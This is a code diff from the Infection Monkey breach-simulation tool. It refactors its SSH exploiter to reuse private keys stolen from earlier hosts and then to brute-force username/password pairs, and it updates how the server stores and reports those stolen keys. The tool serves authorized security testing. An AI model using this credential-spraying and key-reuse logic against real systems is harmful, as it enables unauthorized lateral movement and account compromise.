diff --git a/infection_monkey/exploit/sshexec.py b/infection_monkey/exploit/sshexec.py index 2209a0685..7c6cc6509 100644 --- a/infection_monkey/exploit/sshexec.py +++ b/infection_monkey/exploit/sshexec.py @@ -32,21 +32,7 @@ class SSHExploiter(HostExploiter): LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) self._update_timestamp = time.time() - def exploit_host(self): - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) - - port = SSH_PORT - # if ssh banner found on different port, use that port. - for servkey, servdata in self.host.services.items(): - if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): - port = int(servkey.replace('tcp-', '')) - - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - LOG.info("SSH port is closed on %r, skipping", self.host) - return False - + def exploit_with_ssh_keys(self, port, ssh): user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() exploited = False @@ -67,8 +53,8 @@ class SSHExploiter(HostExploiter): timeout=None) LOG.debug("Successfully logged in %s using %s users private key", self.host, ssh_string) - self.report_login_attempt(True, user, ssh_key=ssh_string) exploited = True + self.report_login_attempt(True, user, ssh_key=ssh_string) break except Exception as exc: LOG.debug("Error logging into victim %r with %s" @@ -76,9 +62,13 @@ class SSHExploiter(HostExploiter): ssh_string) self.report_login_attempt(False, user, ssh_key=ssh_string) continue + return exploited + def exploit_with_login_creds(self, port, ssh): user_password_pairs = self._config.get_exploit_user_password_pairs() + exploited = False + for user, curpass in user_password_pairs: try: ssh.connect(self.host.ip_addr, @@ -89,8 +79,8 @@ class SSHExploiter(HostExploiter): LOG.debug("Successfully logged in %r using SSH (%s : %s)", self.host, user, curpass) - self.report_login_attempt(True, user, curpass) exploited = True + self.report_login_attempt(True, user, curpass) break except Exception as exc: @@ -99,6 +89,27 @@ class SSHExploiter(HostExploiter): user, curpass, exc) self.report_login_attempt(False, user, curpass) continue + return exploited + + def exploit_host(self): + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) + + port = SSH_PORT + # if ssh banner found on different port, use that port. + for servkey, servdata in self.host.services.items(): + if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): + port = int(servkey.replace('tcp-', '')) + + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + LOG.info("SSH port is closed on %r, skipping", self.host) + return False + + #Check for possible ssh exploits + exploited = self.exploit_with_ssh_keys(port, ssh) + if not exploited: + exploited = self.exploit_with_login_creds(port, ssh) if not exploited: LOG.debug("Exploiter SSHExploiter is giving up...") diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 540802ca1..01caf3003 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -171,6 +171,7 @@ class Telemetry(flask_restful.Resource): ssh_info = telemetry_json['data']['ssh_info'] Telemetry.encrypt_system_info_ssh_keys(ssh_info) if telemetry_json['data']['network_info']['networks']: + # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) Telemetry.add_system_info_ssh_keys_to_config(ssh_info) if 'credentials' in telemetry_json['data']: diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 46773c0fb..11f58481f 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -510,6 +510,9 @@ SCHEMA = { "type": "array", "uniqueItems": True, "default": [], + "items": { + "type": "string" + }, "description": "List of SSH key pairs to use, when trying to ssh into servers" } } @@ -898,9 +901,8 @@ class ConfigService: @staticmethod def ssh_add_keys(public_key, private_key, user, ip): - if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal'], False, False) - ['exploits']['exploit_ssh_keys'], - user, ip): + if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], + False, False), user, ip): ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', {"public_key": public_key, "private_key": private_key, "user": user, "ip": ip}) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 15b11e877..561ef004b 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -404,7 +404,7 @@ class ReportService: elif issue['type'] == 'ssh_key': issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ - issue['username'] in config_users: + issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True